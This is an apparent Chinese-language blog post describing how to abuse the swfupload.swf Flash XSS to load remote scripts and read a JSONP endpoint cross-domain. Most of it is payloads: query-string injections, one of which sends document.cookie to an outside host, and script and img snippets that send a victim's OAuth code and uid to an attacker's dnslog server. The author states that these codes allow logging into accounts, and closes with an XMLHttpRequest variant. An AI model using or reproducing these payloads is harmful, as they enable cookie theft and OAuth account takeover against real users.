利用FLASH XSS跨域读取jsonp

From:hg


利用FLASH XSS跨域读取 jsonp。其中FALSH XSS是swfupload.sw的 XSS 来读取jsonp的code 与token值。

XSS 是很老的一个XSS了。 swfupload.swf XSS,这里是如果利用这个xss 读取jsonp.

简单的几种payload:

/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//


/swfupload.swf??movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//


/swfupload.swf??movieName="])}catch(e){if(!window.x){window.x=1;(function(){(new Image()).src='http://xss.me&cookie='+escape(document.cookie);})();}}//

swf标签没有名为 head 的元素

在html 使用 :

(function(){var jsonp=document.createElement("script");jsonp.src="http://www.dysaozhu.com";document.getElementsByTagName("head")[0].appendChild(jsonp);});

在 swf中没有 head   所有使用body

使用:

swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="http://www.dysaozhu.com/xss.js";document.body.appendChild(jsonp);}}//

可以弹出 xss.js 里面的代码:alert(1);

这里直接在js里面写。。写了好多次,发现 都是不能读取 cookies.我也不知道是什么问题,有前端大神知道,可以CALL我一下,被我指出问题。

再次修改:

swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="http://rrd.me/bpL2K";document.body.appendChild(jsonp);var jsonp=document.createElement("script");jsonp.src="http://rrd.me/bpL2Y";document.body.appendChild(jsonp);}}//

这里给出一个小的flag,在服务端对?”&等特殊符号有处理或者检测时。用短域名能减少很多的麻烦事。有一个好习惯。

其中的js  这样写:

alert("You'r code:"+abc.data.code+"\n"+"You'r uid:"+abc.data.uid);

这里测试可以获取到data.code  与data.uid。 说明就是没有问题了。这里就只用在构建一个script.把其中的data.code   data.uid发送到我们自己的服务器上去。就可以获取到自己的oauth认证的code与token

其中我JS里面的内容是这样的。

var img = document.createElement("img"); img.src = 'http://xxx.dnslog.link/?c='+abc.data.code+abc.data.uid; document.body.appendChild(img);

var s = document.createElement('script');s.src = "http://xxx.dnslog.link/?c="+abc.data.code+"--"+abc.data.uid;document.body.appendChild(s);

收到了CODE 值,有CODE值。是可以用oauth授权口登陆自己想要登陆的网站的《利用FLASH XSS跨域读取jsonp》

——————————————

PS:

其中大家发现之前是这样执行JS里面内容的。

swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="http://www.dysaozhu.com/xss.js";document.body.appendChild(jsonp);}}//

其中XSS.JS里面的内容是:

------------xss.js--------------------------

var xmlhttp;

// 创建XMLHTTPRequest对象

function createXMLHTTPRequest()

{

if(window.ActiveXObject)//②如果当前浏览器为IE

{

xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

}

else if(window.XMLHttpRequest)//③如果是其他浏览器

{

xmlhttp = new XMLHttpRequest();

}else

{

alert("Your browser does not support XMLHTTP.");

}

}

 

function getInfo()

{

createXMLHTTPRequest();

xmlhttp.open("get", "https://xxxx.xxx.com/iframe/auth?callback=&client_id=1&id=xxx", true);

xmlhttp.onreadystatechange = returnInfo;

xmlhttp.send(null);

}

 

function returnInfo()

{

if(xmlhttp.readyState == 4)

{

var info = xmlhttp.responseText;

eval("var json= " + info);

alert(json.code);

}

}

getInfo();

--------------------------------------------------------

放弃用这个读取,是因为xmlhttp貌似读取不到code与token值。我也不知道是什么问题。所以放弃了用xmlhttp读取。有大神懂也请一并告诉我一下为什么。

点赞

发表评论